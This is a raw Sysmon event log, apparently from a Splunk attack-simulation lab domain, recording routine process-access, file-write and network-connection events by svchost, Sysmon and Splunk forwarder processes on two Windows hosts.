14:49:21.887{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:21.887{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:21.887{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7071-613B-0C0B-00000000F001}6852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000047000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:21.887{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7071-613B-0C0B-00000000F001}6852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:21.888{7BD73061-7071-613B-0C0B-00000000F001}6852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:21.606{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A716ECB4B79559BCE352F3028BE8FDD8,SHA256=C06954E9B24E3CA9101855DDD03180154BB2CBEECE32E43368A92C57FB7E578A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:18.419{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59362-false10.0.1.12-8000- 23542300x800000000000000046996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:21.199{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=2E9ECB1229615D59322435904F8885F2,SHA256=62FF4DC20BE1BAAF618C71B8FDAD86B7A22F9E5DDAA2E89DFCB16EB2F360BA43,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014720Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:22.839{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=83137BE446C8FCF6679AE0E001512549,SHA256=793A6A8E3C1C4EAE0A80D6975430569F0031B02D9A24CB9053CEDAB453B001DF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:22.902{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=59977EA9894443D1D91F679A72BFA0DD,SHA256=BDAC7BC5AE5510AFC7A191EFDDF1B07DCD14305D89927799B2809358AA4DC7A1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:22.621{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=74B16DA19DB2491A304431CDF5E8668C,SHA256=B7A2191DF508E536FFE265FDB432B6EC3AAA4C70DD81FFF9C09BAD703A4E01EC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:19.498{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60013- 23542300x800000000000000047010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:23.637{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EF2882E63F43488501DCD86BA0C9FC7E,SHA256=7FCD55BAFA3E412233ABABE174917DBAADCF6926ADF7CA84418D4DCE66C60C88,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014721Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:23.855{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0599AD28B9E3EFD1BA9E1B86066167EB,SHA256=D144268F7C4E264569A6A8DB9C508799C051BF3FEAEFE9770E63455FBD1244B6,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014723Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:23.478{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50179-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014722Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:24.871{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A9A65BD55653792439894028E101D56E,SHA256=1F46656C0ED37963F7618CCA862AB2CEF98AD7031C02A6B1FA91037636C6C7F2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:24.809{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AABE92A104349A95106F358809E2BFAD,SHA256=5B63691B662ED67BE18B93DE461C3E347E6CAC9EAE4A228A04C068E0E1BCDC38,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014724Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:25.886{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=86912B936DBE7B60E83369940901ECB9,SHA256=9A97B9A471F94334F23D1CD99E3D43DCB77B8A73F035D76F28ABF0F533A190EC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:25.824{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F818048B52A504CA119F890D2EA77AB3,SHA256=C9952B0F70B6600768C7527A7DEEC68054F0782B0C4593670BE7C0741EC54B9F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014725Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:26.902{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=92E6CF2B44E282D1E330A76FA9FEB71C,SHA256=C70392DE9A2F30E8BA3D3BBF5ECDD5ADBC3719EE6A327E39763543BB54EF1D30,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:26.949{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=45574A3B90208350CA67F3B977DF777D,SHA256=9938CA8EA0C3C3205939805F4DD4E212216E43C2125516B24967A1CD25CD81B7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:24.388{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59363-false10.0.1.12-8000- 23542300x800000000000000047015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:27.996{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7AE70316070381EF9E9D89FCBDE2BEB0,SHA256=E7FC835CB852DC4FCF1573DCD5E42AD3068F0E44E7EB7DC2F2E75BAAB62D7FCE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014726Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:27.917{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A9943ED796FB78CC5AFE3F45EAB66918,SHA256=A7AF5C6A7FAFB891C7413AEFB5EBF7639D440A233D4D21E94AAC254787E2D50A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014727Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:28.933{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=97F79265C34A8C90D33A2B5440A09505,SHA256=8AD9A7306EAB90CCC442D286FEB9B59A8E71AC7267F30A4541A493CD318DB4CF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014728Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:29.949{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D3935DBC0445C626E0B3F1651A743169,SHA256=7CD6C57AA8CD7EBC5C117C7F4E8DAB0D045FF4AC1B125B0A1BE3E4463ABA40A9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:29.606{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:29.027{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2DB822ED15E262F0B1D5CE74CF1E8512,SHA256=34A7ADC972D2AD9F1FF97772FF8EF06BA8647FA1A84657247F70A8B51E050F2A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014729Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:30.959{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9368DBBEE94539F05124D21319AF52D8,SHA256=20589DCB04CF44888406BCC2F108E8750530ADE0ED9081B86B3134F530490F3B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:30.043{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E66076D898996AB0C874FC10A396503D,SHA256=AA666E030E817B0283F29E01B03BA629A4BDBCA564BC8834D979A1E6421D10B3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014743Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.975{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4A956596ED8D2212502F79CE2CD2612B,SHA256=66DE8FCC88FE678D4FA63424A1284594553FFFA55B7AB9DECB9142499DE2E7C0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014742Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.725{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-707B-613B-B704-00000000F101}1116C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014741Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014740Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014739Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014738Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014737Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014736Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014735Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:31.725{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014734Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 